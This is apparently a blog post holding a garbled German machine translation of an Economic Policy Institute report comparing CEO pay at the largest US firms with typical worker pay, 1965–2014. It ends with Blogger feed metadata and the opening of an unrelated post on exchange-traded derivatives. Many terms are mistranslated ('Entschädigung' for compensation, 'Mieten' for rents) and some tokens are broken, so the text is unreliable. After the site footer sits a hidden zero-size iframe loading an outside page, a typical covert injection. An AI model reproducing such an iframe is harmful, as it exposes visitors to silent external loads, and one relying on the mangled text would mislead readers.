Auszahlungen für CEOs an der Spitze 350 US-Unternehmen nach Umsatz. Jährliche Entschädigung der Arbeitnehmer in der Schlüsselindustrie der Unternehmen in der Stichprobe Basierend auf der Mittelung der spezifischen Unternehmensverhältnisse und nicht dem Verhältnis der Mittelwerte der CEO und der Arbeitnehmerentschädigung Quelle: Autorenanalyse der Daten von Compustats ExecuComp-Datenbank, Federal Reserve Economic Data (FRED) Von der Federal Reserve Bank von St. Louis, das aktuelle Beschäftigungsstatistik-Programm und das Bureau of Economic Analysis NIPA Tabellen Share on Facebook Tweet this chart Kopieren Sie den Code unten, um dieses Diagramm in Ihre Website einzufügen. Die in Tabelle 1 ausgewiesene CEO-Entschädigung sowie der Rest des Berichts sind die durchschnittliche Vergütung der CEOs in den 350 öffentlich geführten US-Unternehmen (d. h. Unternehmen, die Aktien am offenen Markt verkaufen) mit den größten Umsätzen jedes Jahres. Unsere Stichprobe wird jedes Jahr weniger als 350 Unternehmen sein, sofern diese großen Unternehmen nicht denselben CEO für den Großteil oder das ganze Jahr haben oder die Vergütungsdaten noch nicht verfügbar sind. Zum Vergleich stellt Tabelle 1 auch die jährliche Entschädigung (Löhne und Gehälter eines vollzeitbeschäftigten Arbeitnehmers) eines privatwirtschaftlichen Produktionspersonals dar (eine Gruppe, die mehr als 80 Prozent der Lohn - und Gehaltsarbeit beschäftigt), so dass wir den CEO vergleichen können Kompensation mit dem eines typischen Arbeiters. Ab dem Jahr 1995 wird in der Tabelle die durchschnittliche jährliche Entschädigung der Beschäftigten in den Schlüsselindustrien der in die Stichprobe einbezogenen Unternehmen ermittelt. Wir nehmen diese Entschädigung als Stellvertreter für die Bezahlung der typischen Arbeitnehmer in diesen Betrieben. Die moderne Geschichte der CEO-Entschädigung (beginnend in den 1960er Jahren) ist wie folgt. Obwohl der Aktienmarkt, gemessen am Index Dow Jones Industrial Average und SampP 500, in Tabelle 1 gezeigt, um rund die Hälfte zwischen 1965 und 1978 gesunken ist, stieg der Leitzins um 78,7 Prozent. Das durchschnittliche Arbeitsentgelt sah in diesem Zeitraum relativ starke Zuwächse (relativ zu den folgenden Perioden, nicht im Verhältnis zum CEO-Lohn oder Lohn für andere an der Spitze der Lohnverteilung). Die jährliche Arbeitsentschädigung erhöhte sich um 19,5 Prozent von 1965 bis 1978, nur etwa ein Viertel so schnell wie CEO Entschädigung Wachstum in diesem Zeitraum. Die Entschädigung der CEO stieg in den 80er Jahren stark an, explodierte jedoch in den 90er Jahren und erreichte im Jahr 2000 einen Höchststand von rund 20 Millionen, ein Zuwachs von über 200 Prozent nur von 1995 und von 1 271 Prozent seit 1978. Dieser Anstieg übertraf sogar das Wachstum des boomenden Aktienmarkts Für die SampP 500 und 439 Prozent für den Dow. Im Gegensatz zu den Aktien - und CEO-Entschädigungen erhöhte sich die Entschädigung der Arbeitnehmer im privaten Sektor im gleichen Zeitraum nur um 1,4 Prozent. Der Rückgang der Aktienmärkte in den frühen 2000er Jahren führte zu einem erheblichen Rückgang der CEO-Entschädigung, aber bis zum Jahr 2007 (wenn der Aktienmarkt am stärksten erholt hatte), kehrte die CEO-Entschädigung auf das Niveau von 2000 zurück. Abbildung A zeigt, wie sich die CEO-Zahlungen an die Börse anlehnen, gemessen am SampP 500-Index. Dies bestätigt, dass CEOs bei hohen Aktienkursen ihre Optionen in bar halten. Die Finanzkrise im Jahr 2008 und die damit zusammenhängende Aktienmarkt-Taumel schlug die Vorstandsvergütung um 44 Prozent bis zum Jahr 2009. Bis 2014 hatte die Börse den gesamten Boden im Abschwung zurückgeholt und, nicht überraschend, CEO Entschädigung auch eine starke Erholung gemacht hatte. Im Jahr 2014 lag die durchschnittliche Vergütung des Vorstandsvorsitzenden bei 16,3 Millionen, 3,9 Prozent seit 2013 und 54,3 Prozent seit 2009. Die Vorstandsvergütung lag im Jahr 2014 unter den Spitzenjahren 2000 und 2007, weit über dem Lohnniveau der Mitte der 90er Jahre und weit darüber hinaus CEO Entschädigung in den vergangenen Jahrzehnten. CEO-Vergütung und den S038P 500 Index (in 2014 Dollar), 19652014 Kopieren Sie den Code unten, um dieses Diagramm auf Ihrer Website einzubetten. Die Erhöhung des CEO-Gehalts in den vergangenen Jahren spiegelt die Verbesserung der Marktbedingungen durch makroökonomische Entwicklungen und einen allgemeinen Anstieg der Rentabilität. Für die meisten Unternehmen, Unternehmensgewinne weiter zu verbessern, und Corporate Aktienkurse bewegen sich entsprechend. Es ist offensichtlich, dass einzelne CEOs für diese breite Verbesserung der Gewinne in den letzten Jahren nicht verantwortlich sind, aber sie profitieren eindeutig davon. Diese Analyse macht deutlich, dass die Wirtschaft für einige Amerikaner, aber nicht für die meisten erholt. Die Aktienmärkte und Unternehmensgewinne haben sich nach der großen Rezession erholt, aber der Arbeitsmarkt bleibt träge. Jene an der Spitze der Einkommensverteilung, darunter viele CEOs, sehen eine starke ErholungKompensation bis 54,3 Prozent, während der typische Arbeiter ist immer noch die nachteiligen Auswirkungen eines stagnierenden Arbeitsmarktes: Entschädigung für die privaten Arbeitnehmer in den wichtigsten Branchen der CEOs In unserer Stichprobe ist seit 2009 um 1,7 Prozent gesunken. Tendenzen der Entschädigungsquote des CEO-zu-Arbeitnehmers Tabelle 1 zeigt auch die Tendenz im Verhältnis der Entschädigung von CEO zu Arbeitnehmer, um die zunehmende Divergenz zwischen CEO und Arbeitnehmergeld im Laufe der Zeit darzustellen. Dieses Gesamtverhältnis wird in zwei Schritten berechnet. Der erste Schritt besteht darin, für jedes der 350 größten Unternehmen das Verhältnis der Entschädigung des CEO8217 zur jährlichen Entlohnung der Arbeitnehmer in der Schlüsselindustrie des Unternehmens zu ermitteln (Daten über die Entlohnung der Arbeitnehmer in einem bestimmten Unternehmen sind nicht verfügbar). Der zweite Schritt ist, dieses Verhältnis in allen Unternehmen zu durchschnittlich. Die letzte Spalte in Tabelle 1 ist das resultierende Verhältnis in ausgewählten Jahren. Die Trends vor 1995 basieren auf den Veränderungen des durchschnittlichen CEO und der konjunkturellen Entwicklung des privaten Sektors. Der Jahresverlauf ist in Abbildung C dargestellt. CEO-to-worker Kompensations-Verhältnis, 19652014 Kopieren Sie den Code unten, um dieses Diagramm auf Ihrer Website einzubetten. US-CEOs der großen Unternehmen verdienten 20 Mal mehr als ein typischer Arbeiter im Jahr 1965 dieses Verhältnis wuchs auf 29,9-zu-1 im Jahr 1978 und 58,7-zu-1 bis 1989, und dann stieg es in den 1990er Jahren auf 376,1-zu-1 durch getroffen Das Ende der 1990er Erholung im Jahr 2000. Der Rückgang der Aktienmarkt nach 2000 reduzierte CEO Aktienbezüge (z. B. Optionen) und verursacht CEO Entschädigung zu stürzen, bis 2002 und 2003. CEO Entschädigung erholte sich auf ein Niveau von 345,3 mal Arbeitnehmer zu zahlen 2007, fast zurück zu seinem Niveau 2000. Die Finanzkrise im Jahr 2008 und der damit einhergehende Rückgang der Aktienmärkte reduzierten die CEO-Entschädigung nach 20072008, wie oben diskutiert, und die Entschädigungsquote für CEO-zu-Arbeitnehmer sank im Tandem. Bis 2014 hatte die Börse den gesamten Wert verloren, den sie nach der Finanzkrise verloren hatte. Ebenso war die Vergütung des Vorstandsvorsitzenden von seinem Tiefststand 2009 an gestiegen, und die Entschädigungsquote von CEO-zu-Arbeitnehmer im Jahr 2014 hatte sich auf 303,4-zu-1 verbessert, was seit 2009 ein Anstieg von 107,6 ist Die in den sechziger, siebziger, siebziger, achtziger und neunziger Jahre herrschten. Ist steigenden CEO zahlen einfach spiegeln den Markt für Fähigkeiten CEO Entschädigung hat sich sehr viel, aber so hat auch Lohn anderer High-Lohnempfänger. Für einige Analysten deutet dies darauf hin, dass der dramatische Anstieg der CEO-Entschädigung weitgehend durch die Nachfrage nach den Fähigkeiten von CEOs und anderen hoch bezahlten Profis getrieben wurde. In dieser Interpretation wird die Kompetenz des CEO durch den Markt für Kompetenzen bestimmt, und die steigende CEO-Entschädigung ist nicht auf Management - und Rentensuchverhalten zurückzuführen (Bebchuk und Fried 2004). Ein prominentes Beispiel für seine anderen Berufe, auch Argument kommt von Kaplan (2012a, 2012b). Beispielsweise behauptete Kaplan (2012a, 4), in der prestigeträchtigen 2012 Martin Feldstein Vortrag: In den vergangenen 20 Jahren blieb die Aktiengesellschaft CEO zu den oberen 0,1 Prozent relativ konstant oder rückläufig. Diese Muster stehen im Einklang mit einem wettbewerbsorientierten Markt für Talente. Sie sind weniger konsistent mit Management-Macht. Andere Top-Einkommensgruppen, die nicht von leitenden Machtkräften betroffen sind, haben ein ähnliches Lohnwachstum gesehen. Kaplan (2012b, 21) hat in einem Folgepapier für das CATO-Institut, das als Working Paper des National Bureau of Economic Research veröffentlicht wurde, diesen Punkt weiter ausgebaut: Der Punkt dieser Vergleiche ist, Sie sind nicht eindeutig. Andere Gruppen mit ähnlichen Backgroundsprivate-Führungskräften, Corporate Juristen, Hedge-Fonds-Investoren, Private-Equity-Investoren und andere haben erhebliche Lohnerhöhungen gesehen, wo es einen wettbewerbsorientierten Markt für Talent und Management-Probleme gibt. Auch wenn man den Nachweis eines höheren CEO-Gehalts als Beweis für Führungsstärke oder Capture nutzt, muss man auch erklären, warum diese Berufsgruppen ein ähnliches oder sogar höheres Lohngeld gehabt haben. Es scheint wahrscheinlicher, dass ein bedeutungsvoller Teil des Anstiegs des CEO-Lohns auch von den Marktkräften getrieben wurde. Bivens und Mishel (2013) befassen sich mit der größeren Frage nach der Rolle der CEO-Entschädigung bei der Erzielung von Ertragssteigerungen an der Spitze und der Schlussfolgerung, dass es beträchtliche Mieten in den Lohn der Führungskräfte gibt, was bedeutet, dass CEO-Lohnerhöhungen nicht einfach das Ergebnis eines wettbewerbsorientierten Marktes sind Für Talent. Wir analysieren und aktualisieren diese Analyse, um zu zeigen, dass die CEO-Entschädigung in den letzten Jahrzehnten viel schneller wuchs als die Entschädigung anderer hoch bezahlter Arbeitnehmer, was darauf hindeutet, dass der Markt für Kompetenzen nicht für das schnelle Wachstum der CEO-Entschädigungen verantwortlich war. Um diese Erkenntnis zu erreichen, setzen wir Kaplans eigene Reihen auf CEO-Entschädigung und vergleichen es mit den Einkommen der Spitzenhaushalte, wie er tut, aber vergleichen es mit einem besseren Standard, den Lohn der oberen Lohnempfänger, anstatt das Haushaltseinkommen der Oberseite 0,1 Prozent.4 Wir aktualisieren Kaplans-Serie über 2010 hinaus mit dem Wachstum der CEO-Kompensation in unserer eigenen Serie. Diese Analyse findet, im Gegensatz zu Kaplan, dass die Vergütung der CEOs weit über die der sehr hoch bezahlten Arbeitnehmer, die oberen 0,1 Prozent der Verdiener. Tabelle 2 zeigt das Verhältnis der durchschnittlichen Vergütung von Vorstandsmitgliedern großer Unternehmen, die von Kaplan entwickelte Serie, zu zwei Benchmarks. Der erste Benchmark ist der, den Kaplan einsetzt: das durchschnittliche Haushaltseinkommen der unter den höchsten 0,1 Prozent, Daten, die von Piketty und Saez (2015) entwickelt wurden. Das zweite ist das durchschnittliche Jahresergebnis der obersten 0,1 Prozent der Lohnempfänger, das auf einer Reihe von Kopczuk, Saez und Song (2010) basiert und in Mishel et al. (2012) und Mishel und Kimball (2014). Jedes Verhältnis wird als ein einfaches Verhältnis dargestellt und protokolliert (um eine Prämie zu konvertieren, die relative Lohndifferenz zwischen einer Gruppe und einer anderen). Der Lohn-Benchmark scheint der geeignetste zu sein, da er Probleme der demographischen Haushaltsveränderungen bei Zwei-Ehepaaren vermeidet und das Einkommen zum Arbeitseinkommen (d. H. Ohne Kapitaleinkommen) begrenzt. Sowohl das Verhältnis als auch die logarithmischen Verhältnisse haben den relativen Lohn der CEOs deutlich unterschätzt, da der Leitungsgehalt ein nicht-trivialer Anteil des Nenners ist, eine Vermutung, die vermutlich im Laufe der Zeit gewachsen ist, nur weil der CEO-relative Lohn wuchs.5 Zum Vergleich zeigt Tabelle 2 auch die Veränderungen In der Brutto - (nicht regressionsangepassten) College-to-High-School-Lohnprämie. Dies ist auch von Nutzen, weil einige Kommentatoren wie Mankiw (2013) einfach behaupten, dass die Spitzenrefinanzierungsrate von 1 Prozent das allgemeine Wachstum der Rückkehr zu Qualifikationen widerspiegelt, wie etwa eine höhere Hochschulprämie. Die Vergleiche enden 2013, da 2014 Daten für die höchsten 0,1 Prozent Löhne noch nicht verfügbar sind. Wachstum der relativen CEO-Entschädigung und College-Löhne, 19792013 Kopieren Sie den Code unten, um dieses Diagramm auf Ihrer Website einzubetten. CEO Entschädigung stieg von 1,14 mal das Einkommen der oberen 0,1 Prozent der Haushalte im Jahr 1989 auf 2,54 mal im Jahr 2013. CEO Lohn bezogen auf den Lohn der Top 0,1 Prozent der Lohnempfänger wuchs sogar noch mehr, von einem Verhältnis von 2,63 im Jahr 1989 auf 5,84 Im Jahr 2013, ein Anstieg (3,21) gleich der Bezahlung von mehr als drei sehr hohe Verdiener. Die Log-Verhältnis von CEO relativen Lohn wuchs 80 Log-Punkten von 1989 bis 2013 mit Top 0,1 Prozent Haushaltseinkommen oder Lohnempfänger als Vergleich. Ist dies ein großer Anstieg Kaplan (2012a, 4) kam zu dem Schluss, dass CEO relativen Lohn blieb relativ konstant oder sank. Kaplan (2012b, 14) findet, dass das Verhältnis über seinem historischen Durchschnitt und dem Niveau in der Mitte der 1980er Jahre bleibt. Abbildung D stellt dies im historischen Kontext dar, indem die in Tabelle 2 wiedergegebenen Verhältnisse bis 1947 präsentiert werden. Das Verhältnis von CEO-Einkommen zu Haushalten (0,1%) im Jahr 2013 (2,54) war mehr als doppelt so hoch wie das historische (19471979) Durchschnitt von 1,11. Das Verhältnis der CEO-Bezüge zu den Top-Lohnempfängern lag im Jahr 2013 bei 5,84, 2,66 Punkte höher als im historischen Durchschnitt von 3,18 (ein relativer Gewinn der Löhne von 2,66 Hochverdienern). Wie die Daten in Tabelle 2 zeigen, übersteigt der Anstieg der angemeldeten CEO-Lohnprämie seit 1979 und insbesondere seit 1989 den Anstieg der Hochschul-Lohnprämie, der weitgehend und angemessen als wesentliches Wachstum angesehen wird, weit übertroffen. Mankiws behaupten, dass Top-1-Prozent-Pay-oder Top-Executive-Pay entspricht einfach dem Anstieg der Hochschule Lohnprämie ist unbegründet (Mishel 2013a, 2013b). Darüber hinaus würden die Daten ein noch schnelleres Wachstum des CEO-relativen Lohns zeigen, wenn Kaplan seine historische Serie mit der Frydman - und Saks - (2010) - Reihe für den Zeitraum 19801994 anstelle der Hall - und Leibman-Daten (1997) gebaut hatte Nach oben Einkommen und Löhne, 19472013 Vermutlich ist die relative Bezahlung des CEO seit 2013 weiter gestiegen. Die Daten in Tabelle 1 zeigen, dass sich die CEO-Entschädigung zwischen 2013 und 2014 um 3,9 Prozent erhöht hat. (Leider liegen die Daten für das Ergebnis der Top-Lohnempfänger für 2014 nicht vor Noch verfügbar für einen Vergleich zu CEO Entschädigung Trends.) Wenn CEO zahlen wachsen viel schneller als die anderer hochverdiener ist ein Test der Anwesenheit von Mieten, wie Kaplan vorgeschlagen hat, dann würden wir schließen, dass heute Führungskräfte erhalten erhebliche Mieten, was bedeutet, dass Wenn sie weniger bezahlt wurden, würde es keinen Verlust an Produktivität oder Produktion geben. Die große Diskrepanz zwischen dem Lohn der CEOs und anderen sehr hohen Lohnempfängern wirft auch Zweifel auf die Behauptung, dass CEOs werden diese außerordentlichen Beträge aufgrund ihrer besonderen Fähigkeiten und dem Markt für diese Fähigkeiten bezahlt werden. Ist es wahrscheinlich, dass die Fähigkeiten von CEOs in sehr großen Unternehmen sind so überdimensioniert und getrennt von den Fähigkeiten der anderen, dass sie vorantreiben CEOs Vergangenheit die meisten ihrer Kohorten in der oberen Zehntel eines Prozent Für alle anderen die Verteilung der Fähigkeiten, wie in der Insgesamt Lohnverteilung, tendenziell viel mehr kontinuierlich. Was ist mit dem durchschnittlichen CEO Eine relativ neue Kritik der Prüfung der Bezahlung von CEOs in den größten Unternehmen, wie wir, ist, dass solche Bemühungen irreführend sind. Zum Beispiel, American Enterprise Institute Gelehrter Mark Perry (2015) sagt die Proben von CEOs von der Associated Press untersucht. Das Wall Street Journal . Oder unsere frühere Arbeit arent sehr repräsentativ für die durchschnittliche US-Unternehmen oder die durchschnittliche US-CEO, weil die Proben von 300350 Firmen für CEO zahlen nur eine von etwa 21.500 Privatunternehmen in den USA oder etwa 1200 von 1 der Gesamtzahl der USA Unternehmen. Perry stellt fest, Nach der BLS und dem Census Bureau gibt es mehr als 7 Millionen Privatunternehmen in den USA Perry betrachtet die Bezahlung des durchschnittlichen CEO, 187.000, ein viel wichtiger Indikator sein. Das ist eine kluge, aber fehlgeleitete Kritik. Erstaunlicherweise sind etwa sechzehn Prozent der CEOs in Perrys bevorzugte Maßnahme im öffentlichen Sektor. Diejenigen im privaten Sektor gehören CEOs von religiösen Organisationen, Interessengruppen und Gewerkschaften. Man fragt sich, warum Perry ist nicht kritisch gegenüber dem Bureau of Labor Statistics8217 Maßnahme der CEO zahlen, da BLS berichtet, dass es nur 207.660 CEOs des privaten Sektors, weit unter den 7,4 Millionen gibt es, wenn jede private Firma hatte einen. Der Fehlbetrag der CEOs in den BLS-Daten ist jedoch verständlich, wenn man einmal erkennt, dass die durchschnittliche Firma nur 20,2 Arbeitnehmer hat (Caruso 2015, Anhang Tabelle 1). Die 5,2 Millionen Firmen mit weniger als 19 Mitarbeitern, die durchschnittlich vier Mitarbeiter pro Unternehmen beschäftigen, verfügen vermutlich nicht über einen CEO und wahrscheinlich nicht über 2 Millionen der 2,4 Millionen Firmen mit mehr als 19 Mitarbeitern. Der Grund, sich auf das CEO-Gehalt der größten Unternehmen zu konzentrieren ist, dass sie eine große Anzahl von Arbeitnehmern beschäftigen, sind die Führer der Wirtschaft und setzen die Standards für die Bezahlung im Executive Pay-Markt und wahrscheinlich auch im Non-Profit-Sektor (ZB Krankenhäuser, Universitäten). Keine Agentur berichtet, wie viele Arbeiter für sehr große Firmen arbeiten. Wir wissen aus den Volkszählungsdaten (Caruso 2015, Anhang Tabelle 1), dass die 18.219 Unternehmen im Jahr 2012 mit mindestens 500 Beschäftigten 51,6 Prozent aller Beschäftigten beschäftigten und ihre Gehaltslisten einen Anteil von 58,1 Prozent an der Gesamtlohnsumme ausmachten. County Business Patterns Daten bieten einen Ausbruch der 964 Unternehmen (nur 0,017 Prozent aller Unternehmen) mit mindestens 10.000 Mitarbeiter diese großen Unternehmen bieten 27,9 Prozent aller Beschäftigung und 31,4 Prozent aller Gehaltsabrechnung. Mit anderen Worten, der CEO der durchschnittlichen US-Firma, über die Perry sagt, dass es interessiert sein soll, entspricht nicht dem CEO des Unternehmens, wo der durchschnittliche oder mittlere Arbeiter arbeitet. Dies wird durch eine neue Studie bestätigt, die berichtet, dass die von der Beschäftigung geordnete mittlere Firma etwa 1.000 Arbeiter hat, während die durchschnittliche Firma etwa 20 hat (Song et al., 2015). Führungskräfte und Führungskräfte umfassen einen großen Teil der in den oberen 1 Prozent des Einkommens und die Top 1 Prozent der Lohnempfänger. Die Analyse der Steuererklärungen in Bakija et al. (2012) zeigt die Zusammensetzung der Führungskräfte in den Haushalten mit dem höchsten Einkommen unserer Tabellierung der American Community Survey Daten für 20092011 zeigt, dass 41,2 Prozent (die größte Gruppe) derjenigen, die einen Haushalt in den oberen 1 Prozent der Einkommen waren Führungskräfte oder Manager. So wissen wir, dass hoch bezahlte Manager die größte Gruppe in den Top 1 Prozent und die Top 0,1 Prozent, gemessen entweder in Bezug auf Löhne oder Haushaltseinkommen sind, und so gibt es viele gute Gründe, sich für die Bezahlung von Führungskräften interessieren Große Unternehmen. Darüber hinaus hat die Bezahlung der CEOs in den größten Unternehmen Multiplikatoren schneller als die Löhne von anderen sehr hohen Verdienern und Hunderte Male schneller als die Löhne diese CEOs für ihre Arbeiter. Fazit Manchmal wird argumentiert, dass die steigende CEO-Entschädigung ein symbolisches Thema ohne Konsequenzen für die überwiegende Mehrheit ist. Allerdings hat die Eskalation der CEO-Vergütung und Exekutivausgleich im Allgemeinen das Wachstum der Top-1-Prozent-Einkommen angeheizt. In einer Studie der Steuererklärungen von 1979 bis 2005, Bakija, Cole und Heim (2010), studierte Steuererklärungen von 1979 bis 2005, festgestellt, dass die Einkommenssteigerungen unter den Top 1 und 0,1 Prozent der Haushalte wurden überproportional von den Haushalten geleitet Von jemandem, der entweder ein nichtfinanzieller Sektor (einschließlich Führungskräfte und Aufsichtsbehörden und im Folgenden als nichtfinanzielle Führungskräfte) oder ein Finanzsektor Executive oder andere Arbeitnehmer war. Vierundvierzig Prozent des Wachstums der oberen 0,1 Prozent Einkommensanteil und 36 Prozent der Top-1 Prozent Einkommensanteil an private Haushalte von einem Nicht-Finanzen-Exekutive weitere 23 Prozent für jede Gruppe aufgelaufenen an private Haushalte des Finanzsektors aufgelaufen. Gemeinsam machten die Finanzierung von Arbeitnehmern und nichtfinanzierten Führungskräften 58 Prozent der Einkommenssteigerung für die Top 1 Prozent der Haushalte und 67 Prozent des Einkommenswachstums der Top 0,1 Prozent aus. Im Vergleich zu anderen in den Top-1-Prozent hatten die Haushalte von nichtfinanzierten Führungskräften ein durchschnittliches Einkommenswachstum, diejenigen, die von jemandem im Finanzsektor geleitet wurden, hatten ein überdurchschnittliches Einkommenswachstum, und die verbleibenden Haushalte (keine Exekutive, Nichtfinanzierung) waren langsamer als der Durchschnitt Einkommenswachstum. Diese Aktien dürften die Rolle der nichtfinanziellen Führungskräfte und des Finanzsektors tatsächlich unterschätzen, da sie nicht für die erhöhten Spendeneinnahmen aus diesen Quellen verantwortlich sind.7 Wir haben oben argumentiert, dass hohe CEO-Lohnsummen Mieten, Konzessionen CEOs aus der Wirtschaft nicht aus Tugend ziehen können Ihres Beitrags zur Wirtschaftsleistung, sondern aufgrund ihrer Position. Infolgedessen konnten CEO-Lohn verringert werden und die Wirtschaft würde keinen Verlust der Ausgabe leiden. Eine weitere Konsequenz der steigenden Bezahlung von Führungskräften ist, dass sie Einnahmen spiegelt, die andernfalls anderen zugerechnet hätten: Was die Führungskräfte verdienten, war für ein breiteres Lohnwachstum für andere Arbeitnehmer nicht verfügbar. (Bivens und Mishel 2013 erforschen diese Frage ausführlich.) Es gibt politische Optionen, um eskalierende Exekutivgehälter zu kürzen und das Lohnwachstum zu erweitern. Einige beinhalten Steuern. Die Implementierung höherer Grenzsteuersätze am höchsten Punkt würde das Rentensuchverhalten einschränken und die Anreize für Führungskräfte reduzieren, für so hohe Löhne zu drängen. Gesetzgebung wurde auch vorgeschlagen, dass die Steuererleichterung für Führungskräfte Leistungsgeld zu entfernen, die früh in der Clinton-Administration durch die Abzugsfähigkeit der Leistung bezahlt wurde, diese Steueränderung dazu beigetragen, das Wachstum der Aktienoptionen und andere Formen der Entschädigung. Eine weitere Möglichkeit besteht darin, Körperschaftssteuersätze für Unternehmen festzulegen, die höhere Vergütungen für die Entschädigung von Arbeitnehmervertretern haben. Andere Politiken, die potenziell Begrenzung der Lohnfortzahlung von Führungskräften können, sind Veränderungen in der Corporate Governance, wie z. B. eine stärkere Nutzung von sagen, über die Vergütung, die es einem Unternehmen Aktionäre erlaubt, über Top-Führungskräfte Entschädigung zu wählen. Die Autoren danken der Stephen Silberstein Stiftung für ihre großzügige Unterstützung dieser Forschung. Über die Autoren Lawrence Mishel ist Präsident des Instituts für Wirtschaftspolitik und war früher sein Forschungsleiter und dann Vizepräsident. Er ist der Co-Autor aller 12 Ausgaben von The State of Working America. Er hat einen Doktortitel. In Wirtschaftswissenschaften von der University of Wisconsin in Madison, und seine Artikel sind in einer Vielzahl von akademischen und nicht-akademischen Zeitschriften erschienen. Seine Forschungsgebiete sind Arbeitsmarktökonomie, Lohn - und Einkommensverteilung, Arbeitsbeziehungen, Produktivitätswachstum und Bildungsökonomie. Alyssa Davis schloss sich EPI im Jahr 2013 als Bernard und Audre Rapoport Fellow. Sie unterstützt die EPI-Forscher in ihrer laufenden Analyse der Arbeitskräfte, der Arbeitsnormen und anderer Aspekte der Wirtschaft. Davis hilft bei der Konzeption und Durchführung von Forschungsprojekten in Bereichen wie Armut, Bildung, Gesundheitsversorgung und Einwanderung. Sie arbeitet auch mit dem Economic Analysis and Research Network (EARN) zusammen, um Forschungsunterstützung für verschiedene staatliche Interessenvertretungsorganisationen zur Verfügung zu stellen. Davis hat zuvor in der Texas House of Representatives und dem US-Senat gearbeitet. Sie hält eine B. A. Von der Universität von Texas bei Austin. 1. Im Jahr 2007 gab es laut der Capital IQ-Datenbank 38.824 Führungskräfte in öffentlich geführten Unternehmen (Tabellen, die vom Tempel-Universitätsprofessor Steve Balsam zur Verfügung gestellt wurden). Es gab 9.692 in den oberen 0,1 Prozent der Lohnempfänger. 2. Die gewählten Jahre basieren auf der Datenverfügbarkeit, doch wählten wir nach Möglichkeit zyklische Spitzenwerte (Jahre der niedrigen Arbeitslosigkeit). 3. Zum Beispiel nutzten alle im Symposium erstellten Beiträge zu den Top 1 Prozent, veröffentlicht im Journal of Economic Perspectives (Sommer 2013), die CEO-Lohnmaßnahmen mit realisierten Optionen. Bivens und Mishel (2013) folgen diesem Ansatz, weil die Redakteure sie gebeten haben, Hinweise auf die Option gewährte Maßnahme fallen zu lassen. 4. Wir danken Steve Kaplan, dass er seine Serie mit uns geteilt hat. 5. Tempel-Universität Professor Steve Balsam stellte Tabellen der jährlichen W-2 Löhne der Führungskräfte in den oberen 0.1 Prozent von der Kapital-IQ-Datenbank zur Verfügung. Die 9.692 Führungskräfte in öffentlichen Unternehmen, die in der Spitze waren 0,1 Prozent der Lohnempfänger hatten durchschnittliche W-2-Ergebnis von 4.400.028. Unter Verwendung von Mishel et al. (2012) Schätzungen der oberen 0,1 Prozent Löhne, machen Führungskräftelohn 13,3 Prozent der insgesamt höchsten 0,1 Prozent Löhne. Man kann die Neigung der Einbeziehung von Führungskräften im Nenner beurteilen, indem man feststellt, dass das Verhältnis der Exekutivlöhne zu allen 0,1 Prozent der Löhne im Jahr 2007 2,14 betrug, aber das Verhältnis der Exekutivlöhne zu den Lohnnebenkosten 2,32 betrug. Leider haben wir keine Daten, die eine Bewertung der Bias in 1979 oder 1989 ermöglichen. Wir haben auch keine Informationen über die Anzahl und Löhne von Führungskräften in privat gehaltenen Unternehmen ihre Einbeziehung würde deutlich ein noch größeres Bias. Die IRS Berichte dort waren fast 15.000 Körperschaftssteuererklärungen im Jahr 2007 von Unternehmen mit Vermögenswerten überschreiten 250 Millionen, was darauf hinweist, gibt es viele mehr Führungskräfte der großen Unternehmen als nur in öffentlichen Unternehmen. 6. Kaplan (2012b, 14) stellt fest, dass die Frydman und Saks-Serie wuchs 289 Prozent, während die Halle und Leibman-Serie wuchs um 209 Prozent. Er stellt fest, dass die Frydman und Saks-Serie schneller wächst als die von Murphy (2012) berichtet. 7. Die Diskussion in diesem Absatz stammt aus Bivens und Mishel (2013). Referenzen Balsam, Steven. 2013. Equity Compensation: Motivationen und Implikationen. Washington, DC: WorldatWork Press. Bebchuk, Lucian und Jesse Fried. 2004. Lohn ohne Leistung: Das unerfüllte Versprechen der Vorstandsvergütung. Cambridge, MA: Harvard University Press. Bivens, Josh, Elise Gould, Lawrence Mishel und Heidi Shierholz. 2014. Anhebung Americas Pay: Warum seine unsere zentrale Wirtschaftspolitik Herausforderung. Institut für Wirtschaftspolitik, Briefing Paper 378. Bureau of Labor Statistics. Verschiedene Jahre. Business Employment Dynamics. Public data series. Bureau of Labor Statistics. Various years. Current Employment Statistics. Public data series. Employment, Hours and Earnings-National database. Bureau of Economic Analysis. Various years. National Income and Product Accounts Tables online data tables. Tables 6.2C, 6.2D, 6.3C, and 6.3D. Compustat. Various years. ExecuComp database commercial database product accessible by purchase. Federal Reserve Bank of St. Louis. Various years. Federal Reserve Economic Data (FRED) database. Frydman, Carola, and Raven E. Saks. 2010. Executive Compensation: A New View From a Long-Term Perspective, 19362005. Review of Financial Studies 23, 2099138. Hall, Brian J. and Jeffrey B. Liebman. 1997. Are CEOs Really Paid Like Bureaucrats National Bureau of Economic Research, Working Paper 6213. Mankiw, N. Gregory. 2013. Defending the One Percent. Journal of Economic Perspectives 27, no. 3: p. 21-24. Mishel, Lawrence. 2013b. Working as Designed: High Profits and Stagnant Wages . Working Economics (Economic Policy Institute blog), March 28. Mishel, Lawrence, Josh Bivens, Elise Gould, and Heidi Shierholz. 2012. The State of Working America, 12th Edition . An Economic Policy Institute book. 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Follow EPI 1225 Eye St. NW, Suite 600 Washington, DC 20005 Phone: 202-775-8810 bull epiepi. org copy2016 Economic Policy Institute Privacy Policy bull Contact Us A research and public education initiative to make wage growth an urgent national policy priority. The authoritative analysis of the living standards of American workers. Interactive tools and videos bringing clarity to the national dialogue on economic inequality. Affiliated programs A national campaign promoting policies to weaken the link between socioeconomic status and academic achievement. A network of state and local organizations improving workers lives through research and advocacy.</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-36912139557326984352017-08-23T10:42:00.000-07:002017-08-23T10:42:36.230-07:00Exchange Gehandelte Optionsliste<p>Beispiele für börsengehandelte Derivate Ein börsengehandeltes Derivat ist lediglich ein Derivatkontrakt, der seinen Wert aus einem zugrundeliegenden Vermögenswert ableitet, der an einer Börse notiert und durch eine Clearingstelle gegen den Ausfall garantiert ist. Aufgrund ihrer Präsenz an einer Börse unterscheiden sich die ETDs von den standardmäßigen Derivaten im Gegensatz zum Over-the-Counter-Ansatz durch eine höhere Liquidität. Und die Fähigkeit, auf dem sekundären Markt gehandelt werden. ETDs beinhalten Futures-Kontrakte, Optionskontrakte. Und Futures-Optionen. Ab 2013 berichtete der World Federation of Exchanges, dass 22 Milliarden Derivate-Kontrakte am weltweiten Börsenhandel (12 Milliarden Futures und 10 Milliarden Optionskontrakte) eine spürbare Steigerung 